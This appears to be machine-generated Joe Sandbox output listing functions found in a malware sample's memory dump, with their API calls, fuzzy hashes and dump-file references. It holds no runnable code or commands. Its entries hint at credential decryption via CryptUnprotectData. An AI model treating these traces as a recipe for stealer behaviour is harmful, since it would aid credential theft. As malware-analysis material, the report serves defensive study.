Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f68e6ad85df6e7ab84f02d33e92a4e7da576ebd8cc43bda30972d881d75a09fa
Instruction ID: a7cf12613b4c50359fef73a6be71865e661c71ca11e12f8b6fcc98fa87c65483
Opcode Fuzzy Hash: f68e6ad85df6e7ab84f02d33e92a4e7da576ebd8cc43bda30972d881d75a09fa
Instruction Fuzzy Hash: E8111575200209BFDB04DF64E884FAB33AAAF89304F109559F919CB350DB35EC51DB64

Function 001C9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,001C4EEE,00000000,?), ref: 001C9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9B2A
LocalFree.KERNEL32(?,?,?,?,001C4EEE,00000000,?), ref: 001C9B3F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 918366f13810bf1bed43cc75e78be7e4f7a4b6129e403016e904d89bce82778a
Instruction ID: 607cd64af8a8b2a36ecf048b1535d01c43af8dfae916c054589213be2bd32b18
Opcode Fuzzy Hash: 918366f13810bf1bed43cc75e78be7e4f7a4b6129e403016e904d89bce82778a
Instruction Fuzzy Hash: D211A2B5240308BFEB10CF64DD95FAA77B5FB89704F208058F915AB390C7B6A911CB94

Function 001D7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E3E4F0,00000000,?,001E0E10,00000000,?,00000000,00000000), ref: 001D7A63
RtlAllocateHeap.NTDLL(00000000), ref: 001D7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E3E4F0,00000000,?,001E0E10,00000000,?,00000000,00000000,?), ref: 001D7A7D
wsprintfA.USER32 ref: 001D7AB7

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: dcfb6508bcaae969f24a71aeee81b4c35530fe27dce560483f899ddd592f6027
Instruction ID: 0b40b9285c37234a04c1b47a21be190a19856535432bc3ba53c8acc7f1b36941
Opcode Fuzzy Hash: dcfb6508bcaae969f24a71aeee81b4c35530fe27dce560483f899ddd592f6027
Instruction Fuzzy Hash: 36118EB1A45218EBEB20DB54DD49FA9B778FB04721F1047AAE90AA32C0D7741A40CF51

Function 0059B001 Relevance: 5.5, Strings: 3, Instructions: 1733COMMON

Download Yara Rule

Strings

{Li, xrefs: 0059B7D5
~)w, xrefs: 0059C087
}]v[, xrefs: 0059B78E

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: {Li$}]v[$~)w
API String ID: 0-4223912085
Opcode ID: b6d89732e3f7c9add614097aaec272f34e8be778ab39d581a007c5ccd2a29266
Instruction ID: 7559ffc2f97875f227ab61d4b70b33059d9bdcad281b51ad0e54ab5a11a58d30
Opcode Fuzzy Hash: b6d89732e3f7c9add614097aaec272f34e8be778ab39d581a007c5ccd2a29266
Instruction Fuzzy Hash: FCB23BF360C2049FE304AE2DEC8567ABBE9EFD4720F16853DE6C4C7744EA3598058696

Function 001D3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(001DE118,00000000,00000001,001DE108,00000000), ref: 001D3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001D37B0

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 747a0b9ec02127b3c0747d24b522813899864f981a879e55ee25e355fb44e5aa
Instruction ID: 7f97fe5ee46e4443883450800fb95f9294fe1078f2ebc27362e32e31d16150b9
Opcode Fuzzy Hash: 747a0b9ec02127b3c0747d24b522813899864f981a879e55ee25e355fb44e5aa
Instruction Fuzzy Hash: 7941FB70A00A189FDB24DB58CC95B9BB7B4BB48702F4042D9E618E72D0D771AE85CF51

Function 001C9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001C9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 001C9BA3
LocalFree.KERNEL32(?), ref: 001C9BD3

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: d541cc53fbc913b23ec7c5b600dcc22c500b89a4c050687fe4d11e38c137e78e
Instruction ID: 9ec1b2037cb97feb5beea0213e82aa6f5ed899e2bd51c0feea6ec328e2417b02
Opcode Fuzzy Hash: d541cc53fbc913b23ec7c5b600dcc22c500b89a4c050687fe4d11e38c137e78e
Instruction Fuzzy Hash: 0B11CCB4A00209EFDB04DF94D985EAE77B5FF88300F108568E915A7350D774AE11CF61

Function 005A030D Relevance: 2.9, Strings: 1, Instructions: 1619COMMON

Download Yara Rule

Strings

3f/, xrefs: 005A0F37

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3f/
API String ID: 0-2500111303
Opcode ID: 48b18bd18067cf34d03fc7ac41ad6e913d3a33fa5072cdeac8eb0463e3b150d9
Instruction ID: f771c1cded03229ab9a6f91638ebc37596e4beb2dfff4d149dd0632c21ccdc06
Opcode Fuzzy Hash: 48b18bd18067cf34d03fc7ac41ad6e913d3a33fa5072cdeac8eb0463e3b150d9
Instruction Fuzzy Hash: F8B206F390C2049FE3047E29EC8567ABBE5EF94320F1A4A3DEAC5C3744EA7558058697

Function 00579ADD Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

rHmm, xrefs: 00579BBE
sG|, xrefs: 00579C74

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: rHmm$sG|
API String ID: 0-3568970663
Opcode ID: 5d90d7bf7bd4d3900fb6f18f5e3e58cd8d2c6c3e66fa9424d29eecc9d418d466
Instruction ID: 2570a330a3fb28b7058d5224f794e1dd626bb33535e663ac13dd5dd5abaee3c4
Opcode Fuzzy Hash: 5d90d7bf7bd4d3900fb6f18f5e3e58cd8d2c6c3e66fa9424d29eecc9d418d466
Instruction Fuzzy Hash: 00617BF3E1C3105BE3045E2DDC8576AB6DADFD4360F2A863DEAC4D7744E9B998018286

Function 0051DD62 Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

er$^, xrefs: 0051DE4B
?%T4, xrefs: 0051DE38

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?%T4$er$^
API String ID: 0-4237381662
Opcode ID: 501f3a541cd89df32687981eb16a407d1efcfdc37db10e767019cba9a866c44f
Instruction ID: 7f68f94df2a1b73e7995476d397674191f7e689c3ade2793b06e7067420f69ce
Opcode Fuzzy Hash: 501f3a541cd89df32687981eb16a407d1efcfdc37db10e767019cba9a866c44f
Instruction Fuzzy Hash: 1951F7F3A082005BF308AE29DC5577AB7D6DB94320F1A453DDBC5D7384E9799C058792

Function 00591AB9 Relevance: 1.9, Strings: 1, Instructions: 656COMMON

Download Yara Rule

Strings

2u/, xrefs: 00591C40

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2u/
API String ID: 0-1944481109
Opcode ID: d990ebf45fe72660ade446600d9c69cd5a474af4146b20511d2261fc9432f3a2
Instruction ID: 233629c5c9a35c763aaeb731fdbb531db6be24db52377e8acf07d7fb5f42c034
Opcode Fuzzy Hash: d990ebf45fe72660ade446600d9c69cd5a474af4146b20511d2261fc9432f3a2
Instruction Fuzzy Hash: 831218F360C6009FD7046E2DEC8566AFBE9EFD4320F1A893DE6C4C3754E63598418692

Function 004FA366 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

?|{=, xrefs: 004FA531

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?|{=
API String ID: 0-1078217459
Opcode ID: d3bd841463310755375d587e80c9ab879044c44f8dda2e5418ae0895d0f9156b
Instruction ID: 2a0107a57ecb66a09774d0c5ec38e4184727fae570934b7cffa904edaefaf23a
Opcode Fuzzy Hash: d3bd841463310755375d587e80c9ab879044c44f8dda2e5418ae0895d0f9156b
Instruction Fuzzy Hash: 9E6104B3E082105FE3145E2DEC8572ABBD6EBD4720F1B493DEAC497344D9795C418692

Function 0050F8C0 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

?u{, xrefs: 0050F993

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?u{
API String ID: 0-4083307101
Opcode ID: 09f5691c2cecbd4d9fd9becd417a2fd5104279efe06160166284c79fc185cdb2
Instruction ID: 73ecf036c505b1d77f61d4ff7477593c77c605660220f42afaf64d80e3e51b8a
Opcode Fuzzy Hash: 09f5691c2cecbd4d9fd9becd417a2fd5104279efe06160166284c79fc185cdb2
Instruction Fuzzy Hash: EA5134F36082089FE304AD2EEC4977AB7D6DBD4320F19863CE685C7784F97999068246

Function 004FD50B Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

3Ku, xrefs: 004FD557

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3Ku
API String ID: 0-584950876
Opcode ID: e280afef244b594b11fc40de878b113a2a27a02602bb914e014f8f2f61b4649b
Instruction ID: f68974a5d88f2a3715b0261b468b2e88befa80f03c0b63a369433119b28b5989
Opcode Fuzzy Hash: e280afef244b594b11fc40de878b113a2a27a02602bb914e014f8f2f61b4649b
Instruction Fuzzy Hash: 2131B0B360821457C2187E6EEC1473FFBD5EB94710F0A453DDBD583340E97518018796

Function 0064CC66 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

Z?O, xrefs: 0064CCE4

Memory Dump Source

Source File: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

